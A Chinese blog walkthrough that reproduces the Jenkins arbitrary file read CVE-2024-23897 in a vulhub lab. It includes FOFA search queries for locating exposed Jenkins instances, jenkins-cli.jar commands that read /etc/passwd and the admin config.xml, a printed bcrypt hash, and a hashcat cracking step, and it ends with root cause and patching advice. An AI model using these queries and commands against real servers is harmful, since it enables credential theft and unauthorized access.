CVE-2024-23897-Jenkins任意文件读取漏洞复现

content

Jenkins是什么

Jenkins是一人基于Java开发的、可扩展的持续集成引擎,用于持续、自动地构建/测试软件项目,可以监控一些定时执行的任务。

官网文档:

Jenkins是一款开源 CI&CD 软件,用于自动化各种任务,包括构建、测试和部署软件。 Jenkins

支持各种运行方式,可通过系统包、Docker 或者通过一个独立的 Java 程序。

持续集成引擎:

持续集成引擎就像是软件开发中的智能管家,能自动收集开发人员编写的代码并整合到一起,然后像组装机器一样对代码进行检查和组装,使其成为可运行的软件,接着还会对软件进行各种测试,一旦发现问题就及时告知开发人员,通过不断地重复这些操作,确保软件能快速、高质量地完成开发,而 Jenkins 就是这样一个基于 Java 开发的、能实现这些功能的持续集成引擎工具。

CVE-2024-23897

CVE - 2024 - 23897是Jenkins存在的一个任意文件读取漏洞。Jenkins为用户提供了命令行接口,用户能够借助jenkins - cli.jar调用该接口,进而执行Jenkins的部分功能。然而,当使用jenkins - cli.jar执行命令行操作时,服务端会利用第三方库args4j对命令行进行解析。在解析过程中,若参数以@开头,系统就会把它认定为一个文件名,随后读取该文件的内容并将其作为参数。这一机制存在风险,一旦参数设置不当,就可能引发报错,且报错信息会将文件内容显示出来,从而导致任意文件读取的情况发生。

目前我的能力只能把漏洞打一遍,原理分析请看P神的原理分析文章

受影响版本:

Jenkins 版本<= 2.441

Jenkins 版本<= LTS 2.426.2

fofa:

xml 复制代码
app="jenkins"

or

xml 复制代码
header="X-Jenkins" || banner="X-Jenkins" || header="X-Hudson" || banner="X-Hudson" || header="X-Required-Permission: hudson.model.Hudson.Read" || banner="X-Required-Permission: hudson.model.Hudson.Read" || body="Jenkins-Agent-Protocols"

vulhub开启靶场环境,访问本机8080端口

访问http://靶场IP:8080/jnlpJars/jenkins-cli.jar

触发漏洞,但是这个命令只能读取部分内容

powershell 复制代码
java -jar .\jenkins-cli.jar -s http://127.0.0.1:8080/ -http help 1 "@etc/passwd"

读取/proc/self/environ

一些命令输出行数较多,比如connect-node这个命令

powershell 复制代码
java -jar .\jenkins-cli.jar -s http://127.0.0.1:8080/  connect-node "@etc/passwd"

如果开启了Allow anonymous read access就可以读取全部文件内容,靶场应该是默认开启了

Jenkins 安装将有一个文件/var/jenkins_home/users/users.xml,其中列出了此处的所有有效用户

powershell 复制代码
java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node "/var/jenkins_home/users/users.xml"

这里读出来admin

users.xml显示系统上的单个用户,admin,其信息文件夹为/var/jenkins_home/users/admin_5965741382068509608

在 Jenkins 上的每个用户文件夹中,始终有一个包含用户密码哈希的config.xml文件。

所以现在读取/var/jenkins_home/users/admin_5965741382068509608/config.xml

powershell 复制代码
java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node "/var/jenkins_home/users/admin_5965741382068509608/config.xml"

读取到:

xml 复制代码
<passwordHash>#jbcrypt:$2a$10$b3fbT8hnHMeZ4CfoVZLTQOgAYbbl8nlQfVGeMhEozzooQDABlEtOG</passwordHash>

下面用kali自带字典和工具爆破密码

首先把$2a$10$b3fbT8hnHMeZ4CfoVZLTQOgAYbbl8nlQfVGeMhEozzooQDABlEtOG写入txt文件,再把rockyou.txt复制到当前路径

powershell 复制代码
hashcat -m 3200 info.txt rockyou.txt

开始爆破

但是尴尬了,报错* Device #1: Not enough allocatable device memory for this attack.我kali内存不够了,当时只分配了2G。

这边就直接说密码了,vulhub环境这个Jenkins密码是vulhub。用admin/vulhub登录成功。

登进后台安全管理界面可以发现Allow anonymous read access恰好是开启的。

总结

Jenkins提供了一个命令行的接口,jenkins-clijar是它的命令行客户端,通过jenkins-clijar可以去执行一些Jenkins中的功能。

利用条件:Jenkins 版本<= 2.441 和Jenkins 版本<= LTS 2.426.2+开启了Allow anonymous read access(读取完整文件)

流程:

因此根本原因是args4j这个库解析参数不当造成的

修复建议

Jenkins更新到最新版本

禁用Allow anonymous read access选项

相关推荐
碳基沙盒1 天前
OpenClaw 多 Agent 配置实战指南
运维
蝎子莱莱爱打怪4 天前
Centos7中一键安装K8s集群以及Rancher安装记录
运维·后端·kubernetes
一次旅行5 天前
网络安全总结
安全·web安全
DianSan_ERP5 天前
电商API接口全链路监控:构建坚不可摧的线上运维防线
大数据·运维·网络·人工智能·git·servlet
呉師傅5 天前
火狐浏览器报错配置文件缺失如何解决#操作技巧#
运维·网络·windows·电脑
不是二师兄的八戒5 天前
Linux服务器挂载OSS存储的完整实践指南
linux·运维·服务器
zhangfeng11335 天前
趋动云 如何ssh登录 服务区 项目server
运维·人工智能·ssh
ZeroNews内网穿透5 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全
失重外太空啦5 天前
nginx
运维·nginx
Gofarlic_oms15 天前
避免Kisssoft高级分析模块过度采购的科学评估方法
大数据·linux·运维·人工智能·matlab